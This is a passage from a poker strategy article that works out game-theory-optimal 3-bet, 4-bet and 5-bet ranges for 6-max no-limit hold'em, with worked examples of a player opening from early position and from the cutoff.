gotten 3-bet, we have deduced that her optimal value 4-bet range is 18% of her total range. If she 4-bets the remaining 82% of her range as a bluff 15% of the time, her overall bluff percentage will be 0.15 x 0.82 =0.12 =12%. So her total 4-bet range is he optimal 18 + 12 =30%, with a 18/12 =60/40 value/bluff ration. So the percentages add up perfectly. Alice's optimal raise/4-bet/call 5-bet strategy in EP We now have everything we need to specify Alice's total strategy after a 15% open-raise. We can write Alice's total EP range as a sum of value hands (raise, 4-bet for value, call a 5-bet) and bluff hands (raise, 4-bet bluff, fold to a 5-bet): {Alice's total EP range} ={22+,ATs+,KTs+,QTs+,J9s+,T9s,98s,87s,76s,AJo+,KQo} ={value hands} + {4-bet bluff hands} ={QQ+, AK} + (15% 4-bet and 85% fold) x {the rest of the range} Alice raises {22+, ATs+, KTs+, QTs+, J9s+, T9s, 98s, 87s, 76s, AJo+, KQo} =186 combos from EP. If she gets 3-bet, she 4-bets {QQ+, AK} for value and calls a 5-bet with them. Those times she doesn't have a value hand, (e.g. she has JJ, AJo, 76s, etc.), she 4-bets 15% of the time as a bluff, and otherwise she folds. The percentage of value hands is then 34/186 =18%, while the effective percentage of bluff hands is 0.15 x (186 - 34)/186 =12%. The value/bluff ratio for her 4-bet range is 18/12 =60/40, which is optimal. To randomize her 4-bet bluffs and get the correct 15% 4-bet frequency for her non-value hands, Alice uses a random number generator from Let's illustrate randomized 4-bet bluffing in practice with an example: Example 3.1.1: Randomized 4-bet bluffing in EP $100NL 6-handed Alice ($100) raises pot to $3.50 with Alice does not have one of her value hands {QQ+, AK}, so she knows that this is a 4-bet-bluff-or-fold scenario. She also knows how often she should 4-bet bluff with these hands (15%). Alice clicks the random number generator, planning to 4-bet to 27bb ($27) if it returns a number between 0 and 15, and otherwise she folds.: The randomize returns 39, so Alice folds this time. We have now specified Alice's optimal EP strategy for for raising/4-betting/calling a 5-bet when she gets 3-bet by a player in position. Our next step is to turn to Bob. What is Bob's optimal strategy for 3-betting/5-betting in position after a ~15% EP raise from Alice? 3.2 Bob's optimal 3-bet-strategy versus Alice's optimal raising strategy in EP We're assuming Bob knows Alice's opening range (he only needs to know the % of hands, not the specific hands), either from observation, or by using a HUD. Alice's raise percentage dictates her value 4-bet range, which dictates Bob's strategies for 3-betting and 5-betting. Bob starts by finding the hands that he 3-bets and 5-bets all-in, purely for value. His value range also includes some 5-bet bluffs, and the next step is to find these. Then we pick a range of 3-bet bluffs that Bob plans to fold to a 4-bet. We'll also talk about Bob's flatting range. These are medium strong hands that are playable, but they are not strong enough to 4-bet for value,and they are too strong to use as bluffs, so Bob flat-calls with them. Bob's flatting range can be viewed as a completely separate part of Bob's overall strategy, and we don't have to be concerned with it when constructing optimal ranges for 3-betting/4-betting/5-betting. But we will discuss the flatting range briefly, since it helps us understand the big picture. When Alice has raised, Bob can respond in 3-ways: He can 3-bet (for value or as a bluff), he can flat, or he can fold. Different hands have different jobs to do within these ranges. And depending on Alice's opening range, hands can move between Bob's 3-betting/flatting/folding ranges. For example, we'll see that AK isn't strong enough to be a value hand for Bob against Alice's EP range, so AK goes into the flatting range in this scenario. But when Alice opens a much wider ~25% range in CO, AK is promoted to a value hand that is 3-bet and 5-bet for value. More about that later in the article. So let's begin defining Bob's optimal 3-bet/5-bet strategy in position against Alice's optimal raise/4-bet/call 5-bet strategy with a ~15% EP range: Bob's pure value range Bob knows that Alice EP range is ~15% (14% to be exact), and therefore he can draw the same conclusion Alice just did, namely that her optimal value 4-betting range is {QQ+, AK}. To profitably 3-bet and 5-bet all-in for value against this range, Bob needs a hand with at least 50% equity. AA is obviously such a hand, and we can easily compute some equities to see that KK is the only other possible hand. So Bob ends up with the super tight pure value range {KK+}. So Bob will 3-bet {KK+} and 5-bet them all-in if Alice 4-bets. He will also 3-bet/5-bet some 5-bet bluff hands (type Axs), and he will have a wide range of 3-bet bluffs that he folds to a 4-bet. We'll now find Bob's 5-bet bluffing hands, then his 3-bet bluffing range, and then we are done. But first, let's talk about something that I know you're thinking about right now: Wait a minute, are you saying that we shouldn't 3-bet the mighty strong QQ and AK for value against an EP open-raise? Correct. Against Alice's tight and optimally played ~15% EP opening range, QQ and AK aren't strong enough to use as value hands, even if they have strong equity against Alice's total opening range. The reason is that they can not profitably get the whole stack in Against the range Alice is willing to get all-in with, namely {QQ+, AK}. Therefore we don't want to 3-bet them for value. Keep in mind that the process of getting all-in starts with a 3-bet, and we know the moment Alice open-raises with a ~15% EP range that her all-in range is a favorite over our QQ and AK hands. Therefore, since we know this before we have put our first chip into the pot, we don't want to choose a path with QQ/AK that is the first step towards getting all-in with them preflop. This is also true for other hands that are good enough to play for value, but not strong enough to get all-in preflop against Alice's value range {QQ+, AK}. Examples of such hands are QQ-22, AK-AJ, KQ, QJs-T9s, etc. (and you can probably list some more if you think about it). So should we 3-bet these medium strong hands as bluffs then?. No, because they are too strong to turn into bluffs and waste their postflop value. The alternative, which is a good one, is to flat-call with them and play a raised pot with position against a range we have god equity against (namely Alice's total opening range). Of course, we could always pretend they are trash and use them as 3-bet bluffs, but why should we do that when it's profitable to flat and play for postflop value? It's true that we want to 3-bet bluff a lot, but we have plenty of bad hands to choose from for that purpose, and we don't want to waste the postflop value we gain from flatting with our medium strong hands. Here is a soccer analogy in these World Cup times: Moving QQ/AK from the flatting range up to the value range against a ~15% opening range is a bit like moving a defender forward and using him as a striker. Sure, he might score a goal or two, but he isn't quite good enough for the job. But he is too good to sit on the bench, so he should play. Therefore, since there is another job for which he is well qualified (defending), we let him play there. The right man for the right job. Bob will therefore flat QQ, AK and various other medium strong hands/implied odds hands after a ~15% open-raise from Alice. The optimal flatting range depends on how Bob thinks Alice plays postflop, what he thinks the players in the blinds will do, how they play postflop, their stack sizes, etc. So we leave the construction of an optimal flatting range to Bob. Note that 3-betting QQ and AK for value against a ~15% EP raiser is equivalent to assuming the raiser isn't playing optimally. If you feel these two hands can always be 3-bet and 5-bet all-in for value against this EP range, you can assume it's because the players you meet don't defend well against 3-bets out of position. Thinking about these things is useful, because when we know what's game theoretically correct, we know that we can exploit someone if it seems correct to do something else. So feel free to deviate from optimal play in Bob's place, if you have position on a weak player. For example, you might be up against a player who 4-bet bluffs spazzy and way too much, or he raises a lot and calls 3-bets out of position with medium strong hands, and then he plays fit-or-fold on the flop. Against such players, QQ and AK might be used as value 3-bet/5-bet hands, since our opponents play far from optimally against our 3-bets. But don't 3-bet QQ/AK for value against a ~15% opening range in the hands of a player like Alice. She plays optimally against our 3-bets, so 3-betting QQ/AK won't do anything for us. Against Alice we use QQ/AK as flatting hands, thus setting ourselves up for playing a raised pot in position against a range we have good equity against (Alice's total opening range, and not just her value hands). This will give Alice (and the blinds, should they get involved) opportunities to make postflop mistakes that we can exploit. But later in the article we'll let Alice open with a ~25% range from CO, and we'll see that QQ/AK now moves up to Bob's value range. Alice's value range is wider and weaker with a 25% opening range, and Bob's optimal 3-bet strategy changes accordingly. OK, enough about flatting. Let's move on and find Bob's 5-bet bluffs, and then his 3-bet bluffing range: We include 5-bet bluffs in Bob's value range Remember the definition of "value range" as the hands we 3-bet, planning to 5-bet all-in after a 4-bet. Some of these hands will be 5-bet bluffs, but for simplicity we'll refer to all the 5-betting hands as Bob's value range. From the previous theory section, we remember that Bob wants to have enough Axs 5-bet bluffs in his value range to make Alice's weakest value hands break even. This accomplishes two things for Bob: He forces Alice to fold more of her 4-bet bluffs He makes it impossible for Alice to "cheat" by not paying off Bob's value 5-bets with {KK+}. If she tries to be "smart" and fold QQ/AK, Bob will just collect his profit with his 5-bet bluffs instead. So Bob's 5-bet bluffs with some Axs hands attack Alice's 4-bet bluffs, and they also make it impossible for her to profitably tighten up her value range, even if she knows Bob's value range is the squeaky tight {KK+}. Keep in mind that Alice knows Bob's strategy, since this follows from her own strategy, which follows from her opening range, which both players know. So she knows Bob only 3-bets/5-bets {KK+} for pure value, and if Bob's doesn't 5-bet bluff a bit, Alice can improve her 5-bet-calling strategy by folding the big underdog's QQ/AK from her value range {QQ+, AK}. And when one of the players can improve his/her EV by a strategy change, the original strategy pair can't be optimal (per definition). So Bob has to 5-bet bluff. The next step for Bob is to add enough Axs to make Alice's weakest value hands break even when they call a 5-bet. Alice then calls off her last 73bb to win the blinds + Alice's 4-bet + Bob's stack =1.5 + 27 + 100 =128.5 bb. The pot odds are 128.5 : 73 =1.76 : 1, so Alice needs minimum 1/(1 + 1.76) =36% equity against Bob's 5-betting range to call profitably. We add A5s to Bob's value range, and check Alice's equity with QQ/AK: AK is above the threshold, but QQ is way below 36%. We add A4s and try again: QQ is now slightly better than break even, and Bob can use A5s/A4s as his optimal 5-bet bluffing hands. However, if we want Alice's equity to be exactly break even, we have to remove a 5-bet bluff or two. Let's remove Bingo, and Bob's optimal 5-bet bluffing hands are {A5s, 4 , A 4 , A People generally don't 4-bet bluff enough, and they are also reluctant to tighten up their 4-bet value ranges when they get exploited by very tight 5-betting (e.g. 5-bets that are 100% for value). For example. a typical low limit TAG with a ~15% EP range might have decided to never 4-bet bluff, and always 4-bet QQ and AK for value and call a 5-bet with them. And he is unlikely to change that plan, even if Bob's exploitative response is to drop all 5-bet bluffs from his value range, and only 5-bet-shove {KK+}, purely for value. These things happen because a) people are blinded by seemingly strong hands, even after they get trapped in situations where their hands suddenly aren't strong anymore, and b) because people are reluctant to change their initial plan, even after if becomes clear it's a bad plan. Against an opponent who makes the dual mistake of not 4-betting bluffing enough, and also paying off our value 5-bets too much, Bob can gain a lot from not having to think about 5-bet bluffing. Bob simply 3-bets {KK+} for value, plus a wide range of 3-bet bluffs, and after a 4-bet he 5-bets {KK+} for value and folds everything else. This way Bob exploits Villains lack of 4-bet bluffing, since his 3-bet bluffs forces Villain to fold most of his non-value hands (since Villain is unwilling to 4-bet bluff with these hands). And Bob also doesn't need to attack Villain's 4-bet bluffs with 5-bet bluffs of his own, since Villain isn't 4-bet bluffing. Finally, Bob exploits Villain's static 5-bet-calling range by only 5-betting for value (and getting called as a big favorite), and not having to include 5-bet bluffs for deception. Easy game. At any rate, Bob's final value 3-bet range (including his 5-bet bluffs) against Alice's optimally played ~15% EP range is {KK+, A5s, A4s}. Bob's last job is to construct the 3-bet bluff range. These are the hands we 3-bet, and always fold to a 4-bet. Bob's 3-bet bluff range We remember the strength principle for poker hands: - Bet/raise your strongest hands for value - Check/call with your medium hands - Fold/bluff with your weakest hands We have already defined Bob's value range (including 5-bet bluffs) as {KK+, A5s, A4s}, and we have mentioned that he also flats some range of good-but-not-great medium strong hands. Against Alice's ~15% EP range this means flatting with hands like QQ, JJ, TT, AK, AQ, AJ, KQ, etc. So when we pick hands for Bob's 3-bluffing range, we drop down to the "cellar" and pick hands that aren't god enough to 3-bet for value preflop, and not good enough to flat for postflop value. Against Alice, who either 4-bets or folds, it doesn't matter which hands we choose to 3-bet bluff with, since these hands will never see a flop. Alice either 4-bets or folds, and when she 4-bets, we 5-bet our value range all-in, and fold our 3-bet bluff range. But in practice the choice of 3-bet bluff range matters a bit, since the raiser will sometimes call our 3-bet with his medium strong hands out of position and force us to play postflop. Therefore, since we can choose freely from our worst hands, we might as well choose the best of our worst hands. In other words, we'd rather 3-bet a hand like K8s as a bluff than a hand like 72o. K8s has some postflop value those times the raiser calls and forces us to see a flop, while 72o doesn't. So 3-bet bluffing with hands like K8s dominates (e.g. is sometimes better than, and never worse than) 3-bet bluffing with hands like 72o. So let's list some 3-bet bluff candidates à la K8s that are too weak to flat, but have some postflop value when we get called. We make a list of ace high, king high and queen high candidate hands: Candidate list for 3-bet bluffing: - Ace high: A9s-A6s ATo-A8o (52 combos) - King high: K9s-K6s, KJo-K9o (52 combos) - Queen high: Q9s-Q6s, QJo-Q9o (52 combos) If you don't approve of this list, feel free to make your own. The specific hands are irrelevant, what matters is that we use hands with the right properties, namely hands that aren't quite strong enough to flat. NB! A5s-A2s are reserved for 5-bet bluffing, so we can't include them in this list. This gives us a list of 156 "pretty" combos for 3-bet bluffing, and the next question is which hands to choose and when. We remember that the optimal value/bluff ratio for Bob's 3-betting range is 40/60, so he can use 60/40 =1.5 bluff combos for each of the combos in his value range (including his 5-bet bluffs). His total value range is {KK+, A5s, A4s} =20 combos, so Bob can pick 1.5 x 20 =30 3-bet bluff combos. As mentioned previously, there are two techniques Bob can use: - Pick 30 specific combos and always 3-bet them - 3-bet all hands from the candidate list a certain percentage of the time I prefer the percentage method. To use it, we only need to memorize the candidate range once and for all, plus one number (the % we 3-bet bluff the candidate hands). Let's compute the number to use against Alice's EP range: To effectively have 30 bluff combos from the candidate list in our 3-betting range, we need to use each of them 30/152 =20% of the time. Note that this percentage isn't universal, like Alice's fixed 4-bet bluff percentage (15%) is for all her opening ranges. To see this, note that Bob's value range varies with Alice's opening range, but the candidate list of 3-bet bluff hands is static (we have simply chosen some hands to use). So Bob will have to calculate a new bluff% to use for his candidate list against each of Alice's opening ranges. However, this isn't a big job, we simply do the math once and for all against each of Alice's ranges and memorize the numbers we need (and we'll look at Alice's CO range in a minute). So, finally: Bob's optimal 3-bet strategy against Alice's optimal raising strategy in EP {Bob's total 3-bet range} ={value hands and 5-bet-bluff hands} + {3-bet bluff hands} ={KK+, A5s, A4s} + 20% x {A9s-A6s,ATo-A8o,K9s-K6s,KJo-K9o,Q9s-Q6s,QJo-Q9o} Bob always 3-bets {KK+, A5s, A4s} and 5-bets all-in after a 4-bet. If he has one of the 152 combos from his candidate list for 3-bet bluffing, he uses a randomizer and 3-bet bluffs 20% of the time, and he folds to a 4-bet. We had to do a bit of work to construct all these ranges, but it was worth it, and we have learned a lot in the process. Let's see what Bob's optimal total 3-bet% is in this case: - Value part: 20 combos (1.5% of all hands) - Bluff part: Effectively 20% of 152 =30 combos (2.3% of all hands) This results in a total 3-bet% of 1.5 + 2.3 =3.8% against Alice's ~15% EP raises. His value/bluff ratio is the desired optimal 20/30 =40/60. Later, when we construct an optimal strategy against Alice's 25% CO range, we'll see that Bob's 3-bet% skyrockets as a consequence of Alice raising a much wider opening range. Note that the combination of a candidate list of 3-bet bluff hands and a fixed (but adjustable) bluff% to use with these hands, gives us a lot of flexibility to adjust our 3-bet bluffing as we please. Against an unknown opponent, we can start with the optimal 20% frequency, and 3-bet {KK+, A5s, A4s} always, and the candidate list 20% of the time. But if we note that the raiser doesn't defend optimally, we might want to adjust this bluff percentage. For example, of the raiser never 4-bet bluffs and only 4-bets a tight value range like {QQ+, AK}, we can go bananas with our 3-bet bluffs. We might decide to double the bluff frequency from 20% to 40% for our list of 152 bluff candidate combos. Now we have 20 value combos, and effectively 0.40 x 152 =61 bluff combos. This means 20/(20 + 61) =25% of our 3-bets are for value, and 75% are bluffs. Our first adjustment to exploit this particular opponent is therefore to lower the optimal value/bluff ratio from the optimal 40/ to the more exploitative 25/75. Then we can also drop 5-bet-bluffing against this tight player, as discussed previously. The simplest adjustment is to keep 3-betting our 5-bet bluffing hands A5s/A4s, but we move them from the value range down to the 3-bet bluff range, and fold them to a 4-bet. The only hands we 5-bet against this player and his {QQ+, AK} 4-bet range is {KK+}, purely for value. Here is an example of randomized 3-bet-bluffing, using the randomizer from Example 3.2.1: Randomized 3-bet bluffing against a ~15% EP raise $100NL 6-handed Alice ($100) raises to $3.5 from UTG, and it's folded to Bob ($100) who has The randomizer returns 18, so Bob 3-bets to $12. Alice quickly 4-bets to $27, and Bob folds. Everything according to plan, and with total control, so there is no reason to feel frustrated after this clash. Our Remember that we know Alice's strategy just as well as she knows our strategy, and we know that she will 3-bet us 30% of the time and fold 70%. When the 4-bet comes, we quietly fold our 3-bet bluffs and 5-bet-shove our value/5-bet bluff range of {KK+, A5s, A4s}. And we do these things calmly, without emotion. 4. Optimal strategy pairs for raiser/3-bettor with a CO raiser out of position After the thorough work with Alice raising ~15% in EP, we can now reap the rewards and quickly run through the same procedure with Alice raising a ~25% range in CO. She now opens a wider range, as a consequence, all other ranges get wider as well. 4.1 Alice's optimal raising strategy for CO Raising from CO is a bit more situational than raising from EP. It's now easier to isolate the blinds, and with a tight player on the button, it might be correct to play very loosely to get heads-up with position on the blinds. Still, everybody has a core range of hands that they always play, regardless of whether they have written this range down or not. We'll assume Alice is using a TAG core range of ~25% in CO. More specifically, this range: Alice's CO range 22+ A2s+ A9o+ K9s+ KTo+ Q9s+ QTo+ J8s+ JTo T8s+ 97s+ 87s 76s 65s 326 combos 25% Alice's value range Alice defends against 3-bets 30% of the time, and she does it by 4-betting 18% of her opening range for value and 12% as a bluff. So she needs 0.18 x 326 =59 value combos that she can 4-bet and call a 5-bet with. In EP she used [QQ+, AK} =34 combos, and in CO we simply add the next tier of hands and use {JJ+, AQ+} =56 combos (precise enough). Then she needs 0.12 x 326 =39 bluff combos. She can pick ~39 specific combos and always 4-bet them (e.g. AJ, AT, TT =38 combos), or she can 4-bet all her non-value hands 15% of the time, as explained previously. We choose the latter approach, and write Alice's complete raise strategy for CO as: Alice's optimal raise/4-bet/call 5-bet-strategy in CO: {Alice's total CO range} ={22+,A2s+,K9s+,Q9s+,J8s+,T8s+,97s+,87s,76s,65s, A9o+,KTo+,QTo+,JTo} ={value hands} + {4-bet bluff hands} ={JJ+, AQ+} + (15% 4-bet and 85% fold) x {the rest of the range} Alice raises {22+,A2s+,K9s+,Q9s+,J8s+,T8s+,97s+,87s,76s,65s, A9o+,KTo+,QTo+,JTo} =326 combos from CO. If she gets 3-bet, she 4-bets {JJ+, AQ+} for value, planning to call a 5-bet. Those times she doesn't have a value hand (e.g. 88, A9o, T9s, etc.), she 4-bets 15% of the time, and the rest of the time she folds. Using a random number generator from That's it for Alice's CO strategy. Over to Bob: 4.2 Bob's optimal 3-bet-strategy against Alice's optimal raising strategy in CO Bob needs a value range, including an optimal number of 5-bet bluffs, and he needs a range of hands to 3-bet bluff. Bob's pure value range Bob knows that Alice now uses {JJ+, AQ+} as her value range, so he builds a range of pure value hands that have at least 50% equity against {JJ+, AQ+}. AA and KK obviously belong in this range. To see what else is included, we run equity calculations for the next tier of hands (QQ and AK): QQ and AK are barely above the threshold, while all weaker hands will be big underdogs. Thus, Bob's pure value range is {QQ+, AK}, and he happily 3-bets these hands, and then 5-bets them all-in, purely for value. We add 5-bet bluffs to Bob's value range We now want to add enough Axs hands so that Alice weakest value hands (JJ and AQ) are break even when they call our 5-bet range (and the threshold is 36% equity, as shown previously). We start with A5s/A4s and see what we get: Alice's weakest value hand is AQ, and it's a small loser with 34% equity against Bob's total value range {QQ+, AK, A5s, A4s}. Close enough for us, so the 5-bet bluffs in this case are the same as we used against Alice's EP range. However, if we want it to be exact, we need to add a couple more bluffs (for example, Bob's 3-bet bluffing Bob's value range, including 5-bet bluffs, is {QQ+, AK, A5s, A4s} =42 combos. He wants an optimal 40/60 value/bluff-ratio, so he needs 60/40 =1.5 times as many bluff combos. This amounts to 1.5 x 42 =63 bluff combos. We use the previously defined candidate list for 3-bet bluff hands: Candidate list for 3-bet bluffing: - Ace high: A9s-A6s ATo-A8o (52 combos) - King high: K9s-K6s, KJo-K9o (52 combos) - Queen high: Q9s-Q6s, QJo-Q9o (52 combos) We bluff these hands some fixed percentage x, and for this to effectively correspond to 63 bluff combos, we need x =63/152 =41%. We can round this to x =40% to make it easy to remember. We remember that we used a 20% bluff candidate frequency against Alice's ~15% EP range. So when Alice moves from a ~15% EP range to a ~25% CO range, our 3-bet bluff candidate frequency doubles. We only need to memorize the candidate list, and these two numbers (20% vs EP and 40% vs CO), and then we know all we need to know about 3-bet bluffing optimally against Alice's EP/CO ranges. At any rate, against Alice's optimal CO raising strategy, Bob gets: Bob's optimal 3-bet strategy against Alice's optimal raising strategy in CO {Bob's total 3-bet range} ={value hands and 5-bet bluff hands} + {3-bet bluff hands} ={QQ+, AK, A5s, A4s} + 40% x {A9s-A6s,ATo-A8o,K9s-K6s,KJo-K9o,Q9s-Q6s,QJo-Q9o} Using a randomizer from Bob's total 3-bet% for this scenario is: - Value part: 42 combos (3.2% of all hands) - Bluff part: Effectively 40% of 152 =61 combos (4.6% of all hands) This results in a total 3-bet range of 3.2 + 4.6 =7.8% against Alice's ~25% CO range. The value/bluff ratio, using our numerical rounding, is 42/61, which is very close to the optimal 40/60. When Alice moves from EP to CO and her opening range changes from ~15% to ~25%, Bob responds by loosening up his 3-betting range dramatically. This is an interesting observation. Those of you who use a more or less static 3-betting range (for example, the generic {JJ+, AQ} without any 3-bet bluffing that is recommended on many low limit forums) now have game theoretical "proof" that we can get away with a lot of 3-bet bluffing on the button against a CO raiser. Even against a TAG CO raiser with a solid ~25% opening range, you can 3-bet almost 8% on the button and there isn't anything he can do to exploit your loose 3-bets. And if he defends poorly, for example by not 4-bet-bluffing enough, or not being willing to use JJ/AQ as value hands, you can deviate from optimal play and attack him even harder. The first adjustment against a weak/passive CO raiser who folds a lot to 3-bets is to increase your fixed 3-bet bluff percentage for the candidate list. You might increase the bluff candidate 3-betting frequency from 40% to 60%. If Villain (and the blinds) doesn't adjust to your exploitative, loose 3-betting, you'll be printing money. 5. Summary We have gone through the theory for game theory optimal(ish) raising/3-betting/4-betting/5-betting with the raiser out of position, and then we demonstrated how the theory can be implemented and used at the table. We constructed optimal strategy pairs (one strategy for the raiser, and one for the 3-bettor) for two scenarios. First with the raiser in EP (UTG or MP) with a ~15% range, and then with the raiser in CO with a ~25% range. In both scenarios we gave the raiser a standard TAG opening range. We then deduced optimal strategies for both players as a function of the raisers opening range. We observed that the strategies for the CO scenario involved considerably looser ranges than the strategies for the EP scenario. Our optimal strategy pairs confirmed that it's correct to 3-bet a wide range on the button against a CO raiser, even if he starts with a solid opening range, and defends optimally against a 3-bet. And if he doesn't defend optimally, we can loosen up even more. When you see a good and aggressive NL player dominate the table by 3-betting loosely in position, this is what happens. Loose, positional 3-betting is game theoretically correct, even against strong players. And against weak players, it's even more correct. As a result of our work, we ended up with specific and concrete implementations of the theory, both as the raiser and as the 3-bettor. You can implement these strategies immediately in your own game by following the procedures outlined in this article. The strategy pairs depend on the raiser's opening range, but the ~15% and ~25% EP and CO ranges are relatively standard, and you will meet many opponents who play close to these ranges. If you need to apply the theory to other ranges, just plug them into the method, and construct the strategy pairs yourself. We didn't look at small blind vs big blind in this article, even if it falls under the same category with the raiser out of position. I elected to leave this situation out, since blind vs blind dynamics is very dependent on the players involved, and the history between them. So it's difficult (and probably not very useful) to try and generalize and assign SB a standard opening range. But if you want to do this, you can use the method and construct the optimal strategy pair yourself. Those of you who enjoy experimenting with ranges and numbers can now start to apply the optimal strategies in your own game, using your own ranges. Plug your own opening ranges for EP and CO into the theoretical "machinery" outlined in this article, and produce optimal strategy pairs, based on the ranges you use at the table. Remember that everything follows from the opening ranges, and remember that you will get both an optimal strategy for the raiser (you), and the positional 3-bettors optimal strategy against you. Learn both parts of every optimal strategy pair. When you are the raiser OOP against an unknown 3-bettor, you can simply play optimally and assume that he is playing optimally too. You now have 100% knowledge about the raiser's range (since this is your range), and you know the optimal strategy pair for this situation exactly. Since the 3-bettor doesn't know these things precisely, he will make mistakes, and you won't. When you have position on the raiser, things are slightly less straightforward, since he is the one who chooses the opening range. But against an unknown raiser, you can start by assuming he uses opening ranges that are close to your default ranges. Then you simply respond with the corresponding optimal 3-betting strategy. If he uses ranges that are only slightly different from yours, the optimal strategy pairs will be similar. And if you should need optimal strategy pairs for opening ranges that are very different from your own (for example, if you meet a CO raiser who opens 45% of his hands), you can quickly construct the corresponding optimal strategy pair for him and yourself. Remember that you don't need to know his opening range in detail, you only need to know the number of hands that he opens. This number is relatively easy to estimate from a HUD, even if the sample isn't big. To be prepared for any opening range you might encounter as a 3-bettor, you can sit down and do the work for 10%, 35% and 45% opening ranges on your own. Then you'll have have a set of optimal strategy pairs that cover almost all cases of EP and CO open-raising you are likely to encounter in practice. Again, when you are the raiser, everything follows from your ranges, and you can do this work once and for all (assuming you have a well-defined set of default core opening ranges) and memorize it. Then you can play optimally from out of position, and sniff around for opponent leaks. If you don't find any, keep playing optimally. If you find some exploitable leaks, think about how you can adjust to increase your EV. But you don't have to adjust until you are sure. Remember, if you are playing optimally and your opponent isn't, you gain from his mistakes (although you might gain more by switching to an exploitative strategy). A classic opponent mistake at the low limits is not 3-bet bluffing enough (or at all) in position. Love these guys, because it's easy to exploit them. For starters, they are "exploiting themselves" by allowing you to run over them by not 3-betting you nearly as often as they should. And when they do 3-bet, you know that they are strong. So you simply drop all your 4-bet bluffs from your range and continue with a 4-betting range of only value hands, planning to call a 5-bet. Easy decisions and easy game. When someone has raised in front of you, you ideally want to use an optimal strategy for each opponent, and for each of his positions (since optimal 3-bet strategy is a function of the raiser's range). This might sound like a lot of work, but in practice it all follows from estimates about the ranges you meet. And small deviations don't change things dramatically. For example, when you know the strategy pair corresponding to a 15% opening range, you can apply the same strategies against a 12% raiser and an 18% raiser without losing much accuracy. You won't play optimally in these cases, but near-optimally is close enough. Besides, pin-pointing opponent opening ranges to within +/-1% or less is difficult, so using near-optimal strategies is the best we can hope for in practice. The nest step of the process is the most interesting one. When you have trained optimal play, you will discover that it's now much easier to spot opponent mistakes. For example, when you come across an opponent who doesn't 4-bet bluff (and these are common at the low limits), you immediately know that this is a leak, and you know how to exploit it. Tight and straightforward players who refuse to 4-bet bluff can be exploited by 3-betting a lot, and not 5-bet bluffing at all. You can 3-bet a metric fuckton of bluff hands, and when they finally pick up a hand good enough to 4-bet, you fold all your bluffs and ship a tight value range (sometimes as tight as {KK+}). Just keep an eye on the other players to see if they are trying to exploit your loose 3-betting (tighten up a bit if they do), and you'll do very well in this spot. Another leak you'll see is spazzy 4-betting from players with insufficient understanding of the theory behind optimal 3-bet/4-bet/5-bet wars. This might happen when you have driven someone crazy with your loose 3-betting, and he starts to tilt. Or when someone tries to fight back in a controlled manner, but he doesn't quite know how to do it (so he starts 4-bet bluffing way too much). The first thing you have to realize when you are playing optimally, and then spotting a leak, is this: It's not necessary to deviate from optimal play to benefit from his mistakes. If you keep playing optimally, and your opponent doesn't, you will win from him in the long run, period. The question is now whether you should deviate from optimal play yourself, in order to win more. If you have a clear idea about how to exploit your opponent maximally, by all means go ahead and make the adjustment. But be cautious when you adjust to spazzy and unpredictable opponents. Remember that your optimal 3bet/4-bet/5-bet strategies are designed to protect you, and there is nothing a maniac can do to exploit you in these scenarios, even if he raises and reraises at every opportunity. If you see concrete adjustments you can make to win more, go for it, but be careful if you tilt easily (preflop raising wars have a tendency to trigger tilt). Then you might be better off sticking to optimal play against hyper-aggressive opponents, let the ranges do the work for you. You can use your focus to terrorize the passive and easily exploitable players instead. Finally, if you meet tough regs who don't give up preflop edge in these scenarios (at least any edge you can see), these optimal strategies will protect you from getting exploited. They can't take advantage of you in preflop 3-bet/4-bet/5-bet wars, so don't worry about it if they try. Follow the optimal strategies, and the mathematics of the situation will protect you. But don't forget to sniff for leaks against regs. Everybody has leaks, and your knowledge about optimal 3-/4-/5-betting will make it easier for you to find them. And pay close attention if you see a reg starting to tilt! Now he might blow up completely in preflop raising wars, and you can adjust accordingly. I hope this article will be useful for those of you who find it difficult to play well in preflop 3-/4-/5-bet wars, and that you have learned to implement the optimal strategies in your own game. And for those who already knew these things, I hope that this systematic discussion of the topic has given you things to think about. I chose to name this article "Optimal 3-bet/4-bet/5-bet strategies in NLHE 6-max - Part 1", even if a Part 2 hasn't been planned yet. But I do have some more ideas about the topic, and I might write more. For example, we could do one article about optimal strategy pairs with the raiser in position (e.g. after a 3-bet from the blinds). Then we could dedicate one article to discussion about optimal versus exploitative play, and talk about how to apply one or the other against different opponent types. Good luck! Bugs For my first NLHE article for Donkr, I have chosen a topic that I know many new players find difficult, namely correct strategies for 3-bet/4-bet/5-bet preflop wars in NLHE 6-max.Against weak low limit opposition, we can get away with playing an almost completely value-based game. We 3-bet/4-bet/5-bet mainly for value, and it's not a big mistake to assume our opponents are doing the same. If we reraise as a bluff, we usually limit ourselves to the occasional 3-bet bluff. A value-based style with little bluffing works well at small stakes because our opponents use more or less the same strategy, and many of them execute it poorly. Of course, every now and then we run into aggressive players who are capable of reraising as a bluff, but there are plenty of fish that will pay off our straightforward game, even if we bluff much less than is game theoretically optimal.But let's say our Hero has built a bankroll by patiently grinding the low limits, and now he wants to take a stab at $200NL. He will now experience a lot more 3-betting, especially if he's out of position.For example:$200NL6-handedHero ($200) raises to $7 with J T from UTG, it's folded to the button ($200) who 3-bets to $24, the blinds fold, and Hero folds.Straightforward, and although Hero expects to get bluffed some of the time, he really doesn't have any choice but to fold. It's correct that his hand can no longer be played for value, but as we shall see later, it's possible to turn it into a 4-bet bluff.At any rate, Hero plays on. The players behind him keep 3-betting him frequently when he is out of position, and Hero keeps folding weak hands to 3-bets. After a while, this hand occurs:$200NL6-handedHero ($200) raises to $7 with A J in MP, it's folded to button ($200) who 3-bets to $24, the blinds fold, and Hero folds.This is getting frustrating. Hero has a decent hand, but it's not strong enough to defend against a 3-bet from out of position, so Hero folds. But he is starting to feel exploited. If only he could get dealt a good hand and punish these bastards!What an inexperienced player now might do (as his frustration builds up more and more), is to make up his mind to fight back against the loose 3-bettors. But he doesn't quite know what to do,Let's look at two common (and sub-optimal) ways to defend against 3-betting, out of position with 100 BB stacks:$200NL6-handedHero ($200) raises til $7 with K Q in MP, button ($200) 3-bets to $24. Hero thinks for a bit, decides that this hand is too good to fold, but too weak to 4-bet, so he calls. 4 4 9 ($51)Hero ($176) checks, button ($176) bets $30, Hero folds.Hero is frustrated, but he doesn't see what else he could have done out of position with a hand of this type. Too strong to fold (at least in Hero's mind) against a loose 3-bettor, but not strong enough to 4-bet. Or? Hmmmmm .... Hero contemplates his next move, and soon another 3-bet pot occurs:$200NL6-handedHero ($200) raises to $7 with A J from UTG, MP ($200) 3-bets to $24. Hero decides to fight fire with fire, and he 4-bets pot to $75. Button 5-bets all-in, Hero calls. MP has K K . Hero screams in agony. 7 ($403) Q ($403) 4 ($403)Hero tears his 